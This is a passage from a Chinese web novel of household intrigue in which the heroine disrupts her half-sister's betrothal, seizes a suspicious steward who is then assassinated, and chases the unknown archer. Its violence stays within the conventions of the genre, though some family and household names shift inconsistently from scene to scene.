他闭上眼睛,强忍着体内的寒毒发作带来的阵阵剧痛,意识渐渐模糊,终于沉沉睡去。晨曦破晓,天边刚泛起一丝浅淡的光晕,茅清兮便睁开了眼。 身子却像被无形的绳索紧紧捆缚,丝毫动弹不得——她竟被冀容白整个儿圈在怀里!头枕着他的手臂,脸颊紧贴着他胸膛,几乎能听见他胸腔里传出的心跳,一声,又一声。 隔着薄薄的衣料,传递过来的,是陌生的、属于男子的体温。茅清兮的脸颊微微发烫,这姿势……着实有些过分亲密了! 她蹙起眉尖,努力回忆昨夜的情形。可任凭她如何搜肠刮肚,记忆仍旧一片模糊,全然记不起自己是何时、又是如何被冀容白抱进怀里的。 难不成……他真把自己当成了人形暖炉? 就在茅清兮暗自思忖之际,身后的冀容白似乎被她的动作惊扰,发出了一声低低的呢喃,缓缓睁开了眼。 “唔……”他下意识地按住胸口,声音里带着几分刚睡醒的慵懒。 茅清兮连忙撑起身子,如瀑的青丝顺着肩头倾泻而下,更衬得她肌肤胜雪,眉目如画。 她稳了稳心神,尽量让自己的语气听起来平静无波:“冀容白,你昨夜……对我做什么了?” 冀容白眼中闪过一丝疑惑,像是没听明白她在说什么:“我?我能做什么?” 对上他那双似乎不谙世事的清澈眼眸,茅清兮原本到了嘴边的质问,又硬生生咽了回去。 或许……真的是自己多心了吧。毕竟,他身中“寒星露”寒毒,畏冷也是人之常情,也许只是下意识地想找个热源取暖罢了。 “无事。”茅清兮轻轻吐出两个字,目光微微闪烁。 冀容白却在这时微微勾起唇角,话里带着几分意味深长:“昨夜可是我这两年来,头一次睡得这般踏实。感觉……像是抱着个暖烘烘的……小火炉。” 他故意拉长了语调,语气里透着几分若有若无的戏谑。 茅清兮闻言,嘴角不自觉地抽了抽——果然!自己就是个彻头彻尾的暖炉!还是小号的! 罢了罢了,跟一个病人计较这些做什么。 她暗自吐出一口气,索性起身下床,简单梳洗穿戴后,便径直出门练武去了,也懒得再搭理他。 冀容白望着她略显仓促的背影,唇边的笑意更深了几分,只是那笑意中,似乎还夹杂着一丝不易察觉的无奈。 这小丫头,戒备心还挺强。不过,这样也好,省得将来被人骗了去。 茅清兮可不知道冀容白心中所想,她此刻满脑子都是安阳侯府的那些事。 今天是林家上门提亲的日子,她思来想去,最终还是决定带上紫姨和俞霜一同前往。 说是去观礼,实际上,茅清兮心里清楚,自己不过是想亲眼看看茅暮暮的下场,顺便借着这个机会,好好探一探安阳侯府的虚实罢了。 这个她生活了十几年的地方,处处透着诡异。那个神出鬼没的王管家,究竟是什么来头?母亲的离世……这些谜团,必须解开。 茅清兮一行人抵达安阳侯府时,正巧与林家前来提亲的队伍迎面相遇。 侯府门前,大红灯笼高高挂起,地上铺着崭新的红毯,一派喜气洋洋的景象。茅文昭和骆芸夫妇站在台阶上,正伸长了脖子张望着。 一见到茅清兮,茅文昭的脸色“唰”地一下就沉了下来,语气不善地质问道:“茅清兮,你来做什么?这里有你什么事?” “父亲这是哪里话?”茅清兮微微一笑,语气里听不出喜怒,“今日是妹妹的好日子,我这个做姐姐的,自然要回来看看。” “看?我看你是来搅局的吧!”茅文昭冷哼一声,显然不相信她的说辞,“茅清兮,我可警告你,别以为你现在嫁出去了,就可以在侯府为所欲为!你要是敢在这里给我惹出什么乱子,看我怎么收拾你!” 茅文昭一边说着,一边狠狠地瞪了茅清兮一眼,眼神里满是威胁和警告。 茅清兮权当没看见,只是似笑非笑地反问道:“父亲这话说的,好像女儿什么时候在侯府为所欲为过似的。我不过是……想看看妹妹过得好不好。” 她故意顿了顿,又补充道:“毕竟,妹妹的‘才名’,可是传遍了整个京城呢。” 最后几个字,她咬得极重,语气里充满了嘲讽的意味。 茅文昭被她的话噎得脸色铁青,额头上的青筋都突突直跳:“你……你胡说八道! 第九十二章 暮暮的名声怎么不好了?她可是京城里有名的才女!” “才女?”茅清兮嗤笑一声,“父亲说的才女,莫非是指……靠着抄袭别人的诗书,来博取名声的那种?” “你!你给我住口!”茅文昭气得浑身发抖,差点没一口气喘不上来。 自从茅暮暮在听雨阁被茅清兮当众揭穿抄袭诗书的丑事后,他这个当爹的,也跟着丢尽了脸面,成了京城里人人议论的笑柄。 要知道,茅暮暮的才学一直是他引以为傲的资本,如今却被爆出是抄袭而来,这让他情何以堪?往后还怎么有脸见人! 这段时日,他无论走到哪里,都能感觉到周围人异样的目光,仿佛有无数根针在背后扎着他的脊梁骨,让他坐立难安,恨不得找个地缝钻进去。 这一切,都是拜茅清兮这个不孝女所赐! 为了逞一时口舌之快,全然不顾姐妹情谊,不给府上留颜面,简直是丧心病狂! “宓爷,夫人,恭喜恭喜啊!” 就在这时,昌平伯的马车在侯府门前停下,他满面红光地从车上跳了下来,朝茅文昭拱手道贺。 茅文昭连忙收敛心神,强行挤出一个比哭还难看的笑容,迎上前去:“哎呦,昌平伯,您能来真是让寒舍蓬荜生辉啊!快请进,快请进!” 他一边说着,一边压低声音,恶狠狠地对茅清兮警告道:“茅清兮,我再说最后一遍,你今天最好给我老老实实的!要是敢坏了暮暮的亲事,我饶不了你!” 茅清兮冷冷地扫了他一眼,眼中闪过一丝不屑。 茅文昭还真以为她是那个任人欺负的软柿子,可以随意恐吓威胁?真是可笑至极! 茅文昭和骆芸夫妇强压下心头的怒火,换上一副虚假的笑容,热情地将昌平伯一行人迎进了正厅。 昌平伯对这桩婚事满意得很,只觉刁明远能娶到茅暮暮,那是他们林家祖上积德。是以今日上门提亲,他可是做足了准备,光是聘礼就装了满满两大箱,可谓是给足了宋家面子。 刁明远跟在昌平伯身后,始终低着头,一言不发,脸色阴沉得像是能滴出水来。 他偶尔抬眼,目光扫过茅清兮时,总会变得格外复杂,有愧疚,有难堪,有不甘,还有一丝……连他自己都说不清、道不明的异样情绪。 这几日,他一直把自己关在房里,不见任何人,也不吃不喝,像是在等着什么,又像是在逃避着什么。他心里清楚,自己是在等茅暮暮的解释,哪怕只是一句简单的道歉。 他甚至还抱有一丝幻想,觉得茅暮暮或许只是一时糊涂,她会幡然醒悟,会来向他解释,会重新回到他身边。 可等来等去,等到的却只有无尽的沉默。茅暮暮就像是从人间蒸发了一般,再也没有出现过。 刁明远只觉得自己的心,像是被一只无形的大手狠狠攥住,一点点撕裂,痛得他几乎无法呼吸。 “清兮,你站着做什么?还不快过来见过昌平伯?” 茅文昭的声音突然响起,打断了刁明远的思绪。 他抬眼望去,只见茅清兮正站在不远处,脸上挂着淡淡的笑容,看不出丝毫情绪。 刁明远的心头猛地一跳,像是被什么东西狠狠撞了一下。 他张了张嘴,想说些什么,可话到嘴边,却又一个字都说不出来。 正厅里,茅文昭与昌平伯谈笑风生,气氛热烈。 茅清兮却觉得无聊透顶,她随意找了个借口,便起身离开了。 “你去哪儿?”茅文昭见状,立刻警觉地问道。 “父亲,我好久没回侯府了,想四处看看。”茅清兮淡淡地回了一句。 “看什么看?你一个出嫁的女儿,回娘家有什么好看的?”茅文昭皱着眉头,显然不相信她的说辞。 “怎么,父亲是怕女儿看到什么不该看的吗?”茅清兮似笑非笑地反问道。 茅文昭被她的话噎了一下,脸色更加难看。他沉默了片刻,最终还是不放心地吩咐了一个嬷嬷跟在茅清兮身后,美其名曰“伺候”,实则是监视。 茅清兮对此心知肚明,却也懒得拆穿。她沿着记忆中的路线,朝自己以前居住的院落走去。 可走到一半,她却突然改变了主意,转了个弯,朝茅暮暮的院子走去。 “大小姐,您这是要去哪儿啊?老爷吩咐过,您不能乱走……” 跟在身后的嬷嬷见状,顿时急了,连忙出声阻止。 可她的话还没说完,就感到脖子上一凉,一柄锋利的匕首,已经抵在了她的喉咙上。 “安阳侯府,我家大人想去哪就去哪。你,最好给我记清楚了!” 俞霜冷冷地开口,声音里充满了警告。 “是……是,奴婢记住了……”嬷嬷吓得浑身哆嗦,连连点头。 俞霜这才收回匕首,退回到茅清兮身后,亦步亦趋地跟着。 茅清兮一路畅通无阻地来到茅暮暮的院子外。 只见院门紧闭,骆芸派来的嬷嬷正站在门外,急得团团转,却又不敢擅自闯进去。 “砰!砰!砰!” 一阵阵砸东西的声音,夹杂着尖锐刺耳的咒骂声,从院子里传了出来。 “我不嫁!我死也不会嫁给刁明远那个废物!” “你们都给我滚!别想逼我!刁明远他算个什么东西,他也配娶我?!” “让他去死!他为何不消失?他死了,我就不用嫁了……” 恶毒的诅咒如同从地狱里爬出来的恶鬼,令人不寒而栗。 茅清兮站在院外,将里面的动静听得一清二楚。 她冷笑一声,眼中闪过一丝厌恶。 茅暮暮这是……彻底疯了? 也好,省得自己再费心思。 一个疯子的表演,实在没什么好看的。 茅暮暮机关算尽,到头来却落得个众叛亲离的下场,也算是自食恶果了。 茅清兮正准备转身离开,眼角的余光却瞥见一个熟悉的身影,正站在不远处的角落里,失魂落魄地望着这边。 是刁明远。 他显然也听到了茅暮暮刚才的那些话,脸色惨白如纸,眼神空洞得像个木偶,整个人都像是被抽走了灵魂一般,只剩下一具空壳。“茅清兮!” 一声呼唤自身后传来,带着几分不易察觉的颤抖和期待。 茅清兮脚步微顿,却没有回头。阳光洒在她的侧脸上,勾勒出优美的轮廓。 刁明远站在原地,目光紧紧追随着她的背影,仿佛要将她刻进眼里。 “茅清兮,”他再次开口,声音比方才沙哑了些,“如果……如果当初我没有退婚,而是选择了你,现在……我们是不是……” 他向前迈了一步,却又在距离茅清兮几步远的地方停下,像是在进行着某种激烈的思想斗争。 第九十三章 茅清兮缓缓转过身,清冷的目光如同一把出鞘的利剑,直直地刺向刁明远。 “世上没有如果。” 她的声音很轻,却带着一种不容置喙的坚定。 刁明远的脸色瞬间变得苍白,嘴唇翕动了几下,似乎还想说些什么:“我、我只是假设……如果当初我……” “就算你当初选了我,我也不会同意。” 茅清兮打断了他,语气平淡得像是在陈述一个事实。 刁明远的身体猛地一震,仿佛被一盆冷水从头浇到脚,整个人都僵住了。 他忽然意识到,茅暮暮口中那个对他情根深种的茅清兮,或许……从来都只是一个谎言。 茅清兮,根本就不曾对他动过心。 这个认知像是一记重锤,狠狠地砸在了他的心上,痛得他几乎窒息。 无尽的羞愧和懊悔如同潮水般涌来,将他淹没。刁明远只觉得脸上火辣辣的,像是被人狠狠扇了几巴掌。他下意识地后退了一步,脸色一阵青一阵白。 茅清兮静静地看了他片刻,然后转身,头也不回地离开了。 这一次,刁明远没有再出声阻拦。他只是呆呆地站在原地,任由茅清兮的身影渐行渐远,最终消失在视线中,仿佛被抽走了所有的精气神。 “小姐,依奴婢看,这位林公子怕是真的对您……上心了。” 走出一段距离后,紫姨忍不住开口,语气中带着几分调侃。 茅清兮摇了摇头,脚步丝毫没有放慢:“不可能,他眼里只有茅暮暮。” “小姐何以如此肯定?”紫姨微微侧过头,打量着茅清兮的神色,“那林公子的眼神……可做不了假。俞霜,你说呢?” 一直沉默不语的俞霜,轻轻点了点头。 她曾在茅暮暮身边伺候,自然知道刁明远对茅暮暮的感情有多深。正因如此,她才更觉得不可思议。 茅清兮依旧不以为意:“你们想多了。他心心念念要娶的都是茅暮暮,我不过是……成人之美罢了。” 紫姨张了张嘴,想说些什么,却又不知该如何开口。她总觉得自家小姐在感情方面太过迟钝,却又无从劝起。 她顿了顿,换了个话题:“小姐……可曾有过喜欢的人?” 茅清兮微微一怔,眼中闪过一丝茫然:“喜欢?何为喜欢?” 紫姨:“……” 她突然觉得,如果冀容白真的喜欢上了自家小姐,那他……恐怕有的苦头吃了。 自家小姐,不仅对男女之情毫无概念,甚至……从未考虑过这个问题。 紫姨暗自叹了口气,只觉得任重而道远。 茅清兮的目光在紫姨和俞霜脸上扫过,忽然问道:“你们呢?你们谁有对象没?” 俞霜立刻摇头:“没有!” 紫姨也连忙摆手,干笑着说:“我?我都这么老了,早就没有心上人了……” “哦?”茅清兮微微挑眉,语气中带着几分玩味,“既然你们都没有,又怎知刁明远对我……就是喜欢?莫不是你们在哄骗我?他若是喜欢我,我宁愿……冀容白喜欢我。” 紫姨被噎得哑口无言,只能在心里默默吐槽:这都什么跟什么啊! “那……小姐觉得,谁喜欢您,您比较能接受?”紫姨小心翼翼地试探道。 “嗯……” 茅清兮垂下眼眸,似乎真的开始认真思考起来。 两世为人,她好像从未体会过“喜欢”是什么滋味。前世,所有人都说她爱惨了钱云霄,可当他背叛之时,她心中除了滔天恨意,竟无半分留恋。 说到别的男人…… 茅清兮的脑海中,忽然浮现出冀容白那张清冷绝尘的脸。 “冀容白……”她顿了顿,轻声说道,“倒也不是不行。” 紫姨和俞霜对视一眼,都从对方眼中看到了一丝了然,却都默契地没有说话。 茅清兮随即又摇了摇头。 冀容白?还是算了吧,身子那么虚,还需要她费心保护。 更何况,冀容白似乎有心上人,她才不会自作多情。 这些念头在茅清兮脑海中一闪而过。 眼下,查清娘亲的死因才是最要紧的,至于这些情情爱爱,暂且都抛到脑后。 茅清兮回到了她从前居住的院落,映入眼帘的却是一片狼藉。 原本还算雅致的院落,如今杂草丛生,落叶堆积,连下脚的地方都快没有了。 她不在的这段时间,骆芸那些人竟然连基本的打扫都没有做过,任由院子荒废成这样。 这里是安阳侯府的偏院,平时本就少有人来,如今更是破败不堪。 茅清兮的脸色逐渐阴沉下来,心中腾起一股怒火。 紫姨更是气得浑身发抖:“这群狗奴才,简直是……无法无天!” 这处院落,曾是茅清兮娘亲的住处,后来又给了茅清兮。 对茅清兮来说,这里是她与娘亲唯一的联系。 这些人……难道以为她离开了安阳侯府,就可以肆意妄为了吗? 茅清兮眼中闪过一抹冷厉,当即改变了主意,她原本只是想来试探一下王管家,但现在,她不仅要揪出王管家背后的人,还要让这些人付出代价! 她压抑着怒火,语气却异常平静:“俞霜,你去把侯府的管家叫来。” 俞霜应了一声,转身离去。 过了好一会儿,安阳侯府的王管家才姗姗来迟。 茅清兮看着眼前这个貌不惊人的中年男子,视线落在了他飘忽不定的脚步和微微佝偻的身体上。 这人会武功,身手还挺厉害。 可方才,他却被俞霜一路带过来,没有丝毫反抗。 茅清兮曾听俞霜说起过,王管家并不是茅暮暮的人。 那么,他背后的人……到底是谁? 他与当年娘亲的死,又有着怎样的关系? 茅清兮心中疑虑重重,面上却不动声色。 她今日回府,就是要好好试探一番,最好能引出他背后的人。 “王管家,你好大的威风啊!” 茅清兮冷冷开口,声音中充满了压迫感。 “我住的院子都荒废成这个样子了,你这个管家是怎么当的?莫非,你以为我茅清兮永远都不会再回来了?” 王管家被吓得一哆嗦,连忙跪下磕头:“大小姐息怒,是奴才的疏忽,奴才这就派人来打扫,这就派人……” 茅清兮冷笑一声:“王管家,你这是在敷衍我吗?你现在把我打发走了,等我一离开安阳侯府,你们是不是又要恢复原样?” “大小姐,奴才也是……也只能听人安排……” 王管家被逼问得满头大汗,他吞吞吐吐地说着,眼神闪烁不定。 茅清兮猛地一拍桌子,厉声喝道:“好一个听命行事!我倒要看看,你究竟是听了谁的命!” 她起身,走到王管家面前,居高临下地看着他,毫不掩饰眼中的怒火:“来人,把他给我绑了,送到衙门去! 第九十四章 我倒要看看,是哪个衙门敢审我的人!” 王管家脸色一白,他没想到茅清兮竟然会来这一招。 茅清兮没有理会王管家的反应,她看向俞霜:“把他带下去,严加看管,别让他跑了。” 俞霜上前,一把抓住王管家的胳膊,将他从地上拽了起来。 王管家下意识地想要挣扎,却被俞霜牢牢控制住。 “大小姐饶命啊!奴才真的只是奉命行事……”王管家还在试图辩解。 “奉命行事?”茅清兮冷笑,“我倒要看看,你能奉谁的命!” 她眼神示意俞霜加大力度,俞霜手上用力,王管家顿时疼得龇牙咧嘴,却硬是不敢发出声音。 茅清兮心中冷笑,她倒要看看,王管家能嘴硬到什么时候。 她就是要用这种方式,逼王管家露出马脚,引出他背后的人。 若是王管家背后的人沉不住气,那么必然会露出破绽。“主子,是属下没用……” 身后,俞霜的声音低不可闻,满是愧疚和自责。 茅清兮充耳不闻,只觉一股无名火起,烧得心烦意乱。 “先回去再说。” 她冷着脸,抛下这句话,头也不回地快步离开。 王管家竟然能忍到这种地步? 他到底想隐瞒什么?又在害怕什么? 原本,茅清兮的计划环环相扣。 先寻个由头,将王管家这个老狐狸拿下,再慢慢炮制他。 就算他嘴再硬,也架不住软磨硬泡。 哪怕他真能咬紧牙关,大不了去求冀容白,请动他手下那位活阎王墨川。 听闻落到墨川手里的人,就没有不开口的。 “呵,装模作样。” 茅清兮心中冷笑。 那些人,当真以为她是无理取闹,借机生事? 他们怕是做梦也想不到,茅清兮真正的目的,是要查清当年青霜将军被害的来龙去脉! 王管家被俞霜押着,跌跌撞撞地往前走。 他一路讨饶,却始终不敢轻举妄动。 茅清兮听得心烦,厉声吩咐: “俞霜,给他点颜色瞧瞧,卸了他一条膀子!” 她顿了顿,又补上一句: “若是再敢啰嗦半句,直接让他永远闭嘴!” 俞霜领命,手上加了几分力道。 “咯嘣”一声,骨头断裂的声音清晰可闻。 王管家闷哼一声,脸色瞬间惨白如纸。 他强忍着剧痛,硬是没敢再发出半点声音。 俞霜暗中留意着他的反应,见他这副模样,心中竟有些说不清道不明的滋味。 眼看就要走出侯府大门了。 “茅清兮!你给我回来!” 一声怒吼,如炸雷般在身后响起。 茅清兮微微侧目,眼底闪过一丝冷意。 她循声望去。 只见茅文昭和骆芸二人,正怒气冲冲地朝这边赶来。 从她发难到现在,统共也没多少时间。 他们竟来得这般快? 是谁走漏了风声? 又或者……这本就在王管家的算计之中? 茅清兮心中疑虑重重,面上却是不动声色。 “你心里还记得有这么个老父亲吗!” 茅文昭冲到近前,指着茅清兮的鼻子破口大骂,唾沫星子几乎喷到她脸上, “安阳侯府,不是你撒泼打滚的地方!” 骆芸也赶忙上前,装出一副贤良淑德的模样,柔声劝道: “清兮啊,你这才刚回来,有什么事不能好好说?” “王管家伺候了侯府这么些年,没有功劳也有苦劳,你怎么能这样对他呢?” 她这话看似在劝和,实则字字句句都在拱火。 果然,茅文昭一听这话,更是气不打一处来: “她懂什么?谁又对不住她了?” “不孝敬长辈也就罢了,还敢对府里的老人动手,真是反了天了!” “老爷,您别动怒,气坏了身子不值当。” 骆芸一边给茅文昭顺气,一边假意嗔怪地看了茅清兮一眼, “清兮也是一时糊涂,您就别跟她一般见识了。” “如今她出息了,手里又有那么些个‘体己’,难免心气儿高了些……” “体己”二字,咬字极重,像一记闷锤,狠狠敲在茅文昭的心坎上。 他顿时想起,茅清兮离府时,带走了多少金银细软。 从那以后,他竟连买一方上好的端砚,都要掂量再三。 侯府的日子,过得紧巴巴的。 每每向骆芸要银子,她便哭穷,说库房早已空空如也,只能靠他的俸禄勉强支撑。 起初,茅文昭不以为然。 他总觉得,安阳侯府的根基是他,而不是童霜。 可没过多久,骆芸就哭着来找他,说府里揭不开锅了。 还将账本拿给他看。 茅文昭这一看,才发现侯府的开销竟如此之大。 他这才意识到,茅清兮带走的东西,价值几何。 这些年,他从未为银钱发愁。 如今,却是什么滋味都尝遍了。 他对茅清兮的怨怼,也因此越发深重。 在他看来,茅清兮就是一个白眼狼,只知道吸侯府的血,从不想着回报。 “姨娘这话说的,我怎么听着这么别扭呢?” 茅清兮冷笑一声, “嫁妆本就是女子安身立命的根本,姨娘不会不知道吧?” “说起来,二妹妹的亲事也该提上日程了,到时候姨娘可得多费心,好好给她置办一份嫁妆。” “对了,姨娘进门的时候,想必也带了不少好东西吧?想来妹妹的嫁妆,是不愁了。” 此言一出,骆芸的脸色顿时变得十分难看。 她偷偷觑了茅文昭一眼,果然见他脸色铁青。 想当初,她进门时,虽然名义上是正妻,可哪里有什么像样的嫁妆? 不过是些破烂玩意儿,凑了几个箱子充门面罢了。 以前茅文昭从不过问这些。 可自从茅清兮搬空了库房,他竟开始旁敲侧击地打听起她的嫁妆来。 她一直提心吊胆地瞒着,生怕露馅。 没想到今日,竟被茅清兮这个小蹄子当众揭穿! 骆芸又气又怕,却不敢表露出来,只得强颜欢笑: “清兮说笑了,王管家是侯府的老人了,你还是赶紧把他放了吧,别惹你爹生气了。” “放人?做梦!” 茅文昭怒不可遏,将所有的怒气都撒在茅清兮身上, “茅清兮,你今天若是不把人留下,就别认我这个爹!” 茅清兮理都懒得理他。 今日,她还就非要把王管家带走不可了! 她倒要看看,这背后究竟藏着什么猫腻。 “茅清兮,你给我站住!” 见茅清兮不理他,茅文昭更是火冒三丈, “你眼里还有没有尊卑!王管家好歹也算是看着你长大的,你怎么能这么狠毒?” “尊卑?看着我长大?” 茅清兮嗤笑一声,冷冷地看着他, “我小时候吃不饱穿不暖的时候,怎么不见他来尽长辈的责任?” “他不过是个奴才,我想怎么处置就怎么处置,谁也管不着! 第九十五章 ” 她眼神凌厉,带着一股不容置疑的威势,直视茅文昭。 茅文昭被她看得心里发毛,竟不自觉地往后退了半步。 “把人带走!” 茅清兮一声令下,干脆利落。 俞霜押着王管家,继续往前走。 侯府的那些家丁,根本不是俞霜的对手。 没几下,便被打翻在地,哼哼唧唧地爬不起来。 将王管家捆了个结结实实,扔到马车上。 茅清兮这才缓缓登上马车,冷眼看着茅文昭和骆芸。 这两人,一个气急败坏,一个满脸堆笑,却都掩饰不住眼底的恼怒。 可奇怪的是,他们似乎并不担心王管家的安危。 茅清兮眉头紧锁。 难道,他们当真不知道王管家的身份? 不管怎样,今日这事,必须查个清楚! 马车缓缓驶出侯府,朝着洛国公府的方向而去。 茅清兮拧着眉,思绪翻涌。 茅文昭和骆芸没能拦住她,这倒没什么。 可王管家……为何一直不反抗? 进了洛国公府,有冀容白和她盯着,王管家绝无可能逃脱。 他到底在等什么? 茅清兮总觉得,自己好像漏掉了什么。 她闭上眼,将今日入府后的所有细节,在脑海中过了一遍。 突然,她猛地睁开眼。 不对劲! 他们拦不住,可王管家……自始至终都没有反抗! “俞霜,看住……” 她猛地掀开车帘,急切地对车后的俞霜喊道。 然而,话音未落。 “咻——” 一支利箭,破空而来,直奔马车后方。 茅清兮心头一凛,来不及多想,脚尖点地,飞身而起。 “铛——” 她以迅雷不及掩耳之势,踢中箭尖。 箭矢受力,微微改变了方向。 几乎是同一时间,俞霜也察觉到了危险,伸手去抓王管家。 可就在这时,变故突生! “嗖!嗖!” 两支羽箭,分别从左右两侧射来,角度刁钻,快若闪电。 俞霜挥刀格挡,勉强挡开一支。 另一支,却直直地射向王管家,正中眉心! “噗——” 血花飞溅。 俞霜想要再救,已是鞭长莫及。 茅清兮轻飘飘地落在地上,看着王管家瞬间没了气息的身体,脸色阴沉得仿佛能滴出水来。 她缓缓转身,目光如炬,死死地盯着箭矢射来的方向。茅清兮足尖轻点,身形如燕,掠上屋顶。 夜色如墨,她的目光却比夜色更沉。 像一只狩猎的猫,在屋脊间无声穿梭。 她锁定了一个方向。 没有一丝犹豫,追了过去。 前方,黑衣人影闪现,没入一条暗巷。 茅清兮紧随其后,像一道影子。 暗巷逼仄,潮湿阴暗。 两侧民居的屋檐低垂,像是无声的压迫。 屋檐下,沟渠中的污水泛着诡异的深绿,腐臭味令人窒息。 青石板路残留着暗红的血迹,仿佛是某种野兽留下的痕迹,墙壁上,深色的污渍,更让人不寒而栗。 茅清兮屏住呼吸。 脚下湿滑,是经年不去的青苔。 她一步步,走得很稳。 “嗖——” 破空声! 茅清兮侧身,一枚暗器擦着鬓角飞过,带起一阵刺痛。 她循声而动,身形如电,已至黑衣人面前。 黑衣人一惊,显然没想到她这么快。 他不再隐藏,猛然出手。 攻势凌厉,招招致命。 茅清兮眉眼间一片冷冽,出手却越发冷静,像一个身经百战的将军。 黑衣人拳法大开大合,内力雄浑,像是一头不知疲倦的凶兽,招式间隐隐有股熟悉的味道。 茅清兮心中微动。 这路数,绝非出自京城。 那人一拳砸向茅清兮肩膀,茅清兮身形一矮,如同游鱼般滑开,毫厘之间,避开攻击。 “青鸾阁的御风身法,你倒是学了个七七八八。” 黑衣男子声音粗粝,像是两块砂石摩擦。 茅清兮拧眉,目光如炬: “你究竟是谁?” 男子冷笑,声音刺耳,仿佛铁器刮擦墙壁: “青鸾阁那位怕是做梦也想不到,除了他,竟然还有人将御风身法练到了第七重。” 茅清兮沉默片刻,开口: “你也是混江湖的?竟对青鸾阁了如指掌。” 语气里,试探的意味很浓。 他不屑地冷笑,袖袍一甩,带起一阵劲风。 茅清兮以为他要发射暗器,下意识闪身避开。 可下一刻,这人竟如鬼魅般消失。 再回神,人已不见踪影,仿佛从未出现过。 茅清兮在周围几条街搜寻,却一无所获,连一丝痕迹都没留下。 他像是水滴入海,瞬间无影无踪。 此人专为杀王管家而来,与茅清兮交手时,又刻意隐藏招式,不愿暴露来历。 他究竟想掩盖什么? 茅清兮决定先去听雨阁。 她敲开司玄苏的门,直截了当: “帮我查个人,身手不凡,用的是江湖路数。” 司玄苏揉了揉惺忪睡眼,苦笑: “我的大小姐,这大半夜的……京城里,我倒真没听说过这号人物。” 茅清兮也觉得奇怪。 若是江湖人,目的又是什么? 安阳侯府如今就是一个空壳子,茅文昭不过是个有名无实的太傅,太子都不怎么放在眼里。 可偏偏有人在安阳侯府安插王管家,竟然扯上了母亲的离世。 茅清兮越查,越觉得娘亲的死背后,藏着一个巨大的阴谋。 可如今,唯一的线索又断了。 茅清兮脸色阴沉。 回到秦府,已是更深露重。 她看到俞霜跪在院中,身姿笔挺,如同一杆标枪,膝前,横着一把青虹剑。 月光下,刀身泛着冷冽的寒光。 俞霜听到脚步声,头垂得更低: “属下无能,让王管家在眼皮子底下被杀了。” 茅清兮走到她面前,居高临下地看着她,目光冷冽如冰: “你可知错?” 紫姨站在廊下,看着这一幕,欲言又止,最终只是无声地叹了口气。 俞霜身子微微一颤,声音有些发抖: “属下知错。” 茅清兮沉默不语,只是静静地看着她。 俞霜的心,一点点沉下去。 她明白,茅清兮对她,始终隔着一层。 毕竟,她曾经背叛过,要重新建立信任,难于登天。 当初投靠茅清兮,她就是赌,赌茅清兮的为人,赌她的能力。 这些日子,她亲眼看着茅清兮一步步走到今天,心中的疑虑早已消散。 她相信,茅清兮一定能查出太子谋害方家满门的真相。 如今,她对方清兮是真心臣服。 可王管家被杀,她难辞其咎。 茅清兮会怎么处置她? 逐出秦府? 还是…… 俞霜不敢想。 冀容白推着轮椅进院子的时候,正看到这一幕。 他微微挑眉,没有说话,只是静静地看着。 院子里的下人们,都低着头,不敢发出一点声音,生怕惹祸上身。 他进了屋,茅清兮正坐在桌边,手里拿着一本书,却明显心不在焉。 第九十六章 “怎么,还在为王管家的事烦心?” 冀容白笑着问, “我还以为,你会把陆府闹个天翻地覆呢。” 茅清兮抬眼,淡淡地瞥了他一眼: “那种地方,多待一刻都嫌浪费。” 说完,又低下头,继续看书。 冀容白听了,心里却是一阵舒畅。 这秦府,总算有点家的样子了。 “在陆府受气了?连饭都没吃饱?” 他换了个话题, “饿了吧?我让人准备了你爱吃的。” 茅清兮这才想起,自己忙了一天,竟然连口热饭都没吃上。 早知道,就在陆府蹭顿饭再走了,至少,不能便宜了他们。 冀容白看她神色,就知道自己猜对了。 他从桌上拿起一块千层酥: “来,先吃点心垫垫,饭菜马上就好。” 说着,将千层酥递到茅清兮嘴边。 茅清兮没有拒绝,张口咬住。 千层酥入口,甜腻的味道里,夹杂着一丝若有若无的药香。 那是冀容白身上特有的味道,苦涩中带着一丝清冽。 茅清兮最近接触药材多了,对这味道竟有些莫名的喜欢。 冀容白又递过来一块,正好在她吃完第一块的时候。 他看着她,眼神温柔,接连投喂好几口。 茅清兮似乎也没觉得有什么不妥,直到冀容白将点心碟子挪开,她才抬起头。 那双清冷的眼睛,直直地看着冀容白,带着一丝不解。 她目光落在空了的碟子上,似乎有些不满。 冀容白看着她,轻声哄着: “乖,马上吃饭了,点心吃多了,待会怕是要倒胃口。” 茅清兮抿了抿唇,没有说话,只是将视线重新移回到书上。 虽然只是细微的表情变化,却让茅清兮清冷的脸上,多了一丝生动。 冀容白嘴角的笑意更深了。 他心里暗暗叹了口气。 这丫头,还真是…… 慢慢来吧,急不得。 仆人们摆上了菜肴,在院子里,和俞霜擦身而过。 所有人都低着头,不敢说话。 茅清兮拿起筷子,才开口: “行了,起来吧。” 俞霜一怔,似乎没反应过来。 片刻后,才似月初醒般,连忙起身: “谢主子。” 茅清兮的声音很淡: “去紫姨那里拿药,养好伤再说。” 俞霜心中一暖,躬身退下。 冀容白看着这一幕,开口: “你这恩威并施,倒是用得炉火纯青。如今,俞霜怕是彻底归心了。” 茅清兮没说话,只是夹了一筷子菜,慢慢地吃着。“俞霜竟然投靠了茅清兮?!” 安阳侯府内宅,茅暮暮猛地一摔手中的青花瓷茶盏,上好的官窑瓷器碎裂一地,茶水四溅。 春秋吓得一个激灵,大气都不敢出,连忙点头如捣蒜: “小姐息怒!奴婢看得真真的,那俞霜,如今就跟在茅清兮身边,鞍前马后,别提多殷勤了!” 茅暮暮脸色铁青,指节捏得咯咯作响: “好啊!真是好得很!我让她去要了茅清兮的命,她倒好,直接给人当起了奴才!” “我就说,俞霜怎么突然没了音讯……” 她咬牙切齿,声音像是从牙缝里挤出来的。 春秋在一旁察言观色,试探着开口: “小姐,要不……咱们给俞霜点苦头尝尝?就凭邱老爷的手段,想让她生不如死,还不是一句话的事?” “不行!现在还不是时候。” 茅暮暮深吸一口气,强压下心头的怒火。 “外公那边刚递了话来,让咱们最近都收敛些,别轻举妄动……说是,有人盯上了苏家……” “谁?谁敢这么大胆子?”春秋惊呼。 “我怎么知道?!” 茅暮暮烦躁地抓了抓头发。 “外公手底下那些人,真是越来越不中用了!让他们对付一个刁明远,都拖拖拉拉到现在!” “现在倒好,连一个俞霜都反水了……” 茅暮暮的语气中充满了怨毒和不甘。 “小姐莫急,总会有法子的……” 春秋低眉顺眼地劝慰。 “啪!” 茅暮暮反手就是一记耳光,狠狠抽在春秋脸上。 春秋猝不及防,被打得一个踉跄,险些跌倒。 她捂着脸,眼泪瞬间涌了出来,却不敢发出一点声音。 “废物!都是废物!” 茅暮暮怒骂, 